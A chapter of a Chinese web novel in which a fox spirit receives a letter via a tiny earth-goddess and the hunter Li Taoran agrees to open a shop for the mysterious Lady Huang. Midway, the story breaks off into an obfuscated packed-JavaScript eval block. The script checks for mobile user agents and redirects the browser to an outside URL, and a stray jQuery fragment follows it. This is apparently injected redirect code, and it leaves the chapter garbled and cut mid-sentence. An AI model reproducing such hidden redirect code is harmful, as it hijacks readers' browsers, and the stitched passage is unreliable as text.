27. 送上门的狐狸3

作品:《无名山上有什么

    炕上又有了狐狸的一席之地。


    只不过李陶然睡惯了靠窗的一边,狐狸只能睡另外一边。


    这都是小事,当务之急是陪着凡人好好休息……“大人?”


    狐狸:……


    他对这些小老头小老太太的耐心,真的快要耗尽了。


    来的土地是个矮小的婆婆。


    狐狸小心地把尾巴从李陶然的怀中拔出来。


    他一动弹,看似熟睡的人立刻迷迷糊糊地“嗯”了一声。


    “嘤。”


    “要出去啊?早点回来。”


    李陶然一只眼半睁开,视线中模糊一片,依稀能看见狐狸离她很近。


    精怪也有自己的生活。


    她很慷慨地放开暖呼呼毛茸茸的大尾巴,一卷被子,翻了个身,重新睡去。


    狐狸……狐狸他突然不想出屋子了。


    土地婆不疾不徐的声音再次传来,“大人——”


    狐狸很想呲牙,又顾及到身旁熟睡的人,只得甩甩尾巴,跳下炕,把门挤开一条小缝钻出去。


    尾巴一顶,门缝严丝合缝地合上,透不进一丁点儿冷风。


    土地婆小步跟在狐狸身后。


    一直到院门口,狐狸才蹲下等着土地婆汇报。


    和蹲坐的狐狸一般高的老太太,拱拱手,“大人,那二位叫我给您带句话。好好学做人,必要的时候还是认点字的好。”


    老太太说着,从袖子里掏出一封信,“屋里的是山神娘娘吗?”


    狐狸矜持地颔首。


    “那二位问您,娘娘是不是用了羬羊脂,还分给了其他凡人?”


    “嗯。”


    狐狸还记得白日里被他吓到的小姑娘。


    “那就好那就好。您还记得先前被您打过那只乘黄吗?”


    “哪只?”


    乘黄一族好奇心颇重,近几年约莫是被打怕了,没有逃出来的。


    被打过的乘黄太多,狐狸委实不晓得土地婆说的哪一只。


    “咳咳,不重要。娘娘用的羬羊脂是被您打过的乘黄捉的羬羊,刮油脂的时候也参与其中。那乘黄身上被您打出来的积年旧伤,突然有愈合的趋势。”


    狐狸眉头紧锁。被他伤过的山海境的人人兽兽,伤痕基本是永久存在的,怎么能愈合?岂不是又要出来作乱?


    “哎呦,您别急。我这不是还没说完吗。”土地婆往土里缩回一寸,“两位大人说是乘黄帮了凡人,得了些微功德。那乘黄高兴坏了,本来都在族地等死,眼下又能活,求着两位大人问还有没有要帮忙的。”


    乘黄的寿数不可计算,除在异兽争斗中死去的,能让它们走向死亡的,唯有心存死志。


    不想活的乘黄,会逐步衰老,在族地的树下化作养分。


    老乘黄死去,才会有乘黄崽子出生。而被山神重伤的乘黄,多是处于等死的状态。


    “两位大人想了法子,免得那边的异兽成天除了打架,就是想着往外跑。养养羊,种点奇珍异草,转到咱们这边来卖,还不用付工钱。这不也是给咱们减轻点负担吗?其余的都写信里了,您拿给娘娘一块儿看,要是娘娘乐意干,两位大人那边地都圈出来了。”


    老太太双手奉上一封没有封口的信件。


    狐狸犹豫着接过信,放进胸毛里。


    老太太如释重负般,留下一句“祝大人和娘娘百年好合。”便溜之大吉。


    狭长的眼尾不自觉地上扬,比老头会说话。


    信件放在了书桌上,用装迷榖树枝的瓷瓶压着。


    狐狸回到炕上。李陶然像是循着什么指引,翻身,一把抱住泛着凉意的大尾巴。


    感受到寒气后,她摊开一只手平躺在炕上。


    大尾巴微不可察地动了一下,顿时一阵融融暖意弥漫开来。


    松开手的人再度黏回来。


    狐狸满意地横趴在被子上,专注地望着半张脸都埋在他尾巴毛里的李陶然。


    红扑扑的,可爱。


    ……


    家中腌肉又腌菜,盐用得太快。


    李陶然端起盐罐子估算一下,还够吃个三四天。


    近来去山上都没有什么收获,少了个进项。


    算算手中可用的钱,项圈花出去一两,把在王奶奶处存着的拿回来,加上代写信得的和剩下的足有将近四两。


    她从中划出二两,放入地砖下的存钱匣子,统共存下五两。


    手上余下的,就作为开春前的花销。


    刘货郎不知道什么时候再来村里,李陶然想着还得去镇上买盐,能便宜些。


    食材和佐料都所剩无几。


    李陶然索性一锅出了个腊肉白菜焖饭,白菜是菜园子里刚摘的,新鲜得很。


    用不上任何佐料,可以说是非常俭省。


    小黑体型越来越大,吃得也多。李陶然特意给它多做了个水铺蛋,消耗消耗王金穗送来的鸡蛋。


    既然要去镇上,李陶然便预备着待会儿去村里问问青山叔能不能载她一程。


    她回到屋里,收拾书桌的时候,发现桌上有封不知从何而来的信。


    没有署名。难道是代写时有人忘了拿走?


    愈发粘人的狐狸,终于想起信的事来。


    本就李陶然走哪儿贴到哪儿的他,挨在她小腿上蹭了蹭。


    “你的信?”李陶然低头看了一眼狐狸,随手在他头上呼噜一把。


    狐狸摇摇头,嘴筒子向山的方向指指。


    李陶然大概明白他的意识,黄夫人送来的?怎得一点动静都没有?


    啊,是有动静。她突然想起昨晚上迷迷糊糊地感觉到狐狸出去过一趟,没多久就回来。


    还以为是做梦呢,现在想来是去拿信。


    “下次黄夫人来,一定要请她进来坐坐。”李陶然小声嘀咕着,拆开信件。


    狐狸跳到椅子上,前爪搭在她肩膀上。


    “你也想看?”李陶然把信放到桌子上,顺手将狐狸抄到怀里,自己坐到椅子上,“正好,教你认认字吧。”


    “嘤。”


    “展信佳,润肤膏好用吗?花枝也很漂亮吧。我这儿有个生意,想了解你的想法。”李陶然读到着这儿,心脏猛地跳了两下,“润肤膏的渠道和产量我都能保证,还有其他有意思的货物。店面也选好了位置,就差一个帮我开店和值得信任的掌柜。你愿不愿意帮我?和你身边那个说说,他会把你的意愿带给我。”


    送给师父的树枝、效用奇佳的润肤膏、帮人解惑的黄果还有——李陶然的目光挪到桌上还没有任何枯萎迹象、熠熠生辉的花枝。


    她仿佛已经瞧见白花花的银子在朝她挥手了!


    李陶然强迫自己冷静下来。


    这些东西都不是凡物,极易引人觊觎,她一个没有人脉背景的孤女,如何撑得起来?


    黄夫人认得精怪,手中的奇珍异宝多不胜数


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16860461|190893||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。李陶然并未听说过夏朝有这么一号人物。


    可要说人家有坏心,要害她,恐怕她早死了吧?且她身上也没什么好图的。


    转念一想,师父拿着树枝入京,他日高中进士,也算是自己的一个倚仗。


    陆山长和陆姐姐同临平县主相熟,县主又是皇后娘娘麾下。


    只要她跟着他们办好书院,是不是也能和皇后娘娘搭上线。


    到时候再卖这些东西,不仅能把名声打出去,还不怕有心之人打坏主意。


    李陶然差点笑出声。


    狐狸正在凭借着记忆,一一辨认信中的字。


    身后传来轻微的震动,他疑惑地侧头,“嘤?”


    “我想好了!我愿意!”


    愿意什么?狐狸一时没反应过来。


    李陶然把他高高举起,眉开眼笑道:“……还没说你叫什么,算了,不重要。咱们就要过上好日子了!我要帮黄夫人做事,黄夫人说你会向她传达我的意思,你要去山上找她吗?”


    狐狸的后腿蹬了蹬。


    李陶然会意地把他放下来。


    就这事儿?值得凡人如此高兴?狐狸不解,但狐狸还是兢兢业业地做好传话。


    他也不避着李陶然,走到书桌前的一块没有杂物的砖地上,爪子轻踩。


    昨晚来过的土地婆冒出个脑袋。


    土地婆余光瞟见边上还有个人在,忙不提地现出全身。


    李陶然好奇地蹲下,她还没见过这么小的婆婆,“这是?”


    “老朽是这一片土地的土地婆,久仰娘娘大名。”


    自打狐狸从雍州回来,山神定亲的消息就传遍了所有土地公土地婆。


    上司的夫人是重点讨好对象。


    “娘娘?”李陶然只知道宫里的皇后娘娘被称作娘娘,“是在叫我吗?我就是个小猎户,当不起当不起,我叫李陶然,婆婆叫我陶然就行。”


    土地婆可不敢直呼其名,偷瞄狐狸的脸色,退而求其次道:“不敢不敢,姑娘客气了。”


    姑娘也行吧,叫娘娘被别人听到还不知要怎么编排呢。


    李陶然头一次直观接触土地婆,她只见过不少地方立土地庙,保佑一方平安。


    “婆婆是神吗?”


    “称不上称不上,”土地婆连连摆手,这年头谁当神谁倒霉,“不过是给大人办事的小小灵体。”


    灵体是什么,李陶然也没听说过。


    显然,现在不是说这个的时候。


    李陶然:“黄夫人信中所说我答应了,是婆婆帮我转告吗?”


    土地婆:“是是是,我会如实告知。”


    李陶然:“麻烦婆婆,能再帮我问问铺子在哪儿,货物有哪些吗?我好提前做些准备。”


    土地婆:“不麻烦,姑娘没别的事儿我就先走了。”


    李陶然:“婆婆慢走。”


    话落,土地婆缩回地里,没留下一点痕迹。


    李陶然惊奇地跪在地上,反复检查着土地婆待过的那块砖石,上面一个洞都没有,甚至比旁边的砖要更加干净。


    “这些都是我能知道吗?”她眼底的迷茫和兴奋掺杂在一起,难舍难分。


    凡人体弱。狐狸怕地砖凉,让他的凡人感染风寒病死了可怎么好?


    他钻进李陶然和地面的空隙,用力把李陶然顶起来。


    不明所以的凡人,反手就把狐狸抱在怀里,甚至跳起来转了两圈。